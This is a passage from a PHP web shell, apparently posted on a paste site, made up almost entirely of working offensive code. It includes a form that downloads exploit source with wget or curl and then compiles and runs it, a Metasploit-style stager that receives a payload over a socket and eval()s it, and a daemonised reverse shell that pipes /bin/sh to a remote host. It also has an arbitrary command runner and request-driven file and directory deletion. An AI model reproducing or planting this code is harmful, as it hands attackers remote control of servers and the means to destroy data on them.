  4888. ?>&amp;x=netsploit"><tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px" value="www.some-code/exploits.c"></td></tr><tr><td>cmd</td><td><input class="inputz" type="text" name="wcmd" style="width:250px" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td> </tr> <tr><td><select size="1" class="inputz" name="pilihan"> <option value="wwget">wget</option> <option value="wlynx">lynx</option> <option value="wfread">fread</option> <option value="wfetch">fetch</option> <option value="wlinks">links</option><option value="wget">GET</option> <option value="wcurl">curl</option> </select></td><td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go" style="width:246px"></td></tr></form></table></td></tr></table><div style="text-align:center;margin:2px"><?php
  4889. echo $msg;
  4890. ?></div><br>
  4891. <?php
  4892. error_reporting(0);
  4893. function ss($t)
  4894. {
  4895. if (!get_magic_quotes_gpc())
  4896. return trim(urldecode($t));
  4897. return trim(urldecode(stripslashes($t)));
  4898. }
  4899. $s_my_ip = gethostbyname($_SERVER['HTTP_HOST']);
  4900. $rsport = "443";
  4901. $rsportb4 = $rsport;
  4902. $rstarget4 = $s_my_ip;
  4903. $s_result = "<center><div class='mybox' align='center'><td><h2>Reverse shell ( php )</h2><form method='post' actions='?sad=<?php echo $pwd;?>&amp;x='netsploit'><table class='myboxtbl'><tr><td style='width:100px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' name='rstarget4' value='" . $rstarget4 . "' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' name='sqlportb4' value='" . $rsportb4 . "' /></td></tr></table><input type='submit' name='xback_php' class='inputzbut' value='connect' style='width:120px;height:30px;margin:10px 2px 0 2px;' /><input type='hidden' name='d' value='" . $pwd . "' /></form></td><hr color='#4C83AF'><td><form method='POST'><table class='myboxtbl'><h2>Metasploit Connection </h2><tr><td style='width:100px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' size='40' name='yip' value='" . $my_ip . "' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' size='5' name='yport' value='443' /></td></tr></table><input class='inputzbut' type='submit' value='Connect' name='metaConnect' style='width:120px;height:30px;margin:10px 2px 0 2px;'></form></td></div></center>";
  4904. echo $s_result;
  4905. if ($_POST['metaConnect']) {
  4906. $ipaddr = $_POST['yip'];
  4907. $port = $_POST['yport'];
  4908. if ($ip == "" && $port == "") {
  4909. echo "fill in the blanks";
  4910. } else {
  4911. if (FALSE !== strpos($ipaddr, ":")) {
  4912. $ipaddr = "[" . $ipaddr . "]";
  4913. }
  4914. if (is_callable('stream_socket_client')) {
  4915. $msgsock = stream_socket_client("tcp://{$ipaddr}:{$port}");
  4916. if (!$msgsock) {
  4917. die();
  4918. }
  4919. $msgsock_type = 'stream';
  4920. } elseif (is_callable('fsockopen')) {
  4921. $msgsock = fsockopen($ipaddr, $port);
  4922. if (!$msgsock) {
  4923. die();
  4924. }
  4925. $msgsock_type = 'stream';
  4926. } elseif (is_callable('socket_create')) {
  4927. $msgsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  4928. $res = socket_connect($msgsock, $ipaddr, $port);
  4929. if (!$res) {
  4930. die();
  4931. }
  4932. $msgsock_type = 'socket';
  4933. } else {
  4934. die();
  4935. }
  4936. switch ($msgsock_type) {
  4937. case 'stream':
  4938. $len = fread($msgsock, 4);
  4939. break;
  4940. case 'socket':
  4941. $len = socket_read($msgsock, 4);
  4942. break;
  4943. }
  4944. if (!$len) {
  4945. die();
  4946. }
  4947. $a = unpack("Nlen", $len);
  4948. $len = $a['len'];
  4949. $buffer = '';
  4950. while (strlen($buffer) < $len) {
  4951. switch ($msgsock_type) {
  4952. case 'stream':
  4953. $buffer .= fread($msgsock, $len - strlen($buffer));
  4954. break;
  4955. case 'socket':
  4956. $buffer .= socket_read($msgsock, $len - strlen($buffer));
  4957. break;
  4958. }
  4959. }
  4960. eval($buffer);
  4961. echo "[*] Connection Terminated";
  4962. die();
  4963. }
  4964. }
  4965. if (isset($_REQUEST['sqlportb4']))
  4966. $rsportb4 = ss($_REQUEST['sqlportb4']);
  4967. if (isset($_REQUEST['rstarget4']))
  4968. $rstarget4 = ss($_REQUEST['rstarget4']);
  4969. if ($_POST['xback_php']) {
  4970. $ip = $rstarget4;
  4971. $port = $rsportb4;
  4972. $chunk_size = 1337;
  4973. $write_a = null;
  4974. $error_a = null;
  4975. $shell = '/bin/sh';
  4976. $daemon = 0;
  4977. $debug = 0;
  4978. if (function_exists('pcntl_fork')) {
  4979. $pid = pcntl_fork();
  4980. if ($pid == -1)
  4981. exit(1);
  4982. if ($pid)
  4983. exit(0);
  4984. if (posix_setsid() == -1)
  4985. exit(1);
  4986. $daemon = 1;
  4987. }
  4988. umask(0);
  4989. $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  4990. if (!$sock)
  4991. exit(1);
  4992. $descriptorspec = array(
  4993. 0 => array(
  4994. "pipe",
  4995. "r"
  4996. ),
  4997. 1 => array(
  4998. "pipe",
  4999. "w"
  5000. ),
  5001. 2 => array(
  5002. "pipe",
  5003. "w"
  5004. )
  5005. );
  5006. $process = proc_open($shell, $descriptorspec, $pipes);
  5007. if (!is_resource($process))
  5008. exit(1);
  5009. stream_set_blocking($pipes[0], 0);
  5010. stream_set_blocking($pipes[1], 0);
  5011. stream_set_blocking($pipes[2], 0);
  5012. stream_set_blocking($sock, 0);
  5013. while (1) {
  5014. if (feof($sock))
  5015. break;
  5016. if (feof($pipes[1]))
  5017. break;
  5018. $read_a = array(
  5019. $sock,
  5020. $pipes[1],
  5021. $pipes[2]
  5022. );
  5023. $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
  5024. if (in_array($sock, $read_a)) {
  5025. $input = fread($sock, $chunk_size);
  5026. fwrite($pipes[0], $input);
  5027. }
  5028. if (in_array($pipes[1], $read_a)) {
  5029. $input = fread($pipes[1], $chunk_size);
  5030. fwrite($sock, $input);
  5031. }
  5032. if (in_array($pipes[2], $read_a)) {
  5033. $input = fread($pipes[2], $chunk_size);
  5034. fwrite($sock, $input);
  5035. }
  5036. }
  5037. fclose($sock);
  5038. fclose($pipes[0]);
  5039. fclose($pipes[1]);
  5040. fclose($pipes[2]);
  5041. proc_close($process);
  5042. $rsres = " ";
  5043. $s_result .= $rsres;
  5044. }
  5045. } elseif (isset($_GET['x']) && ($_GET['x'] == 'shell')) {
  5046. ?>
  5047. <form action="?sad=<?php
  5048. echo $pwd;
  5049. ?>&amp;x=shell" method="post"> <table class="cmdbox"> <tr><td colspan="2">
  5050. <textarea class="output" readonly>
  5051. <?php
  5052. echo '$ '.$_POST['cmd']."n";
  5053. if (isset($_POST['submitcmd'])) {
  5054. echo @exe($_POST['cmd']);
  5055. }
  5056. ?>
  5057. </textarea> <tr><td colspan="2"><?php
  5058. echo $prompt;
  5059. ?><input onMouseOver="this.focus()" id="cmd" class="inputz" type="text" name="cmd" style="width:60%" value="" /><input class="inputzbut" type="submit" value="Do !" name="submitcmd" style="width:12%" /></td></tr> </table></form>
  5060. <?php
  5061. } else {
  5062. if (isset($_GET['delete']) && ($_GET['delete'] != "")) {
  5063. $file = $_GET['delete'];
  5064. @unlink($file);
  5065. } elseif (isset($_GET['fdelete']) && ($_GET['fdelete'] != "")) {
  5066. $dir = $_GET['fdelete'];
  5067. if (is_dir($dir)) {
  5068. if (!rmdir($dir)) {
  5069. $s = scandir($dir);
  5070. foreach ($s as $ss) {
  5071. if (is_file($dir . "/" . $ss)) {
  5072. if (unlink($dir . "/" . $ss)) {
  5073. $rm = rmdir($dir);
  5074. }
  5075. }
  5076. }
  5077. }
  5078. }
  5079. } elseif (isset($_GET['mkdir']) && ($_GET['mkdir'] != "")) {
  5080. $path = $pwd . $_GET['mkdir'];
  5081. @mkdir($path);
  5082. }
  5083. $buff = showdir($pwd, $prompt);
  5084. echo $buff;
  5085. }
  5086. ob_flush();
  5087. ?></div></body></html>
Add Comment
Please, Sign In to add comment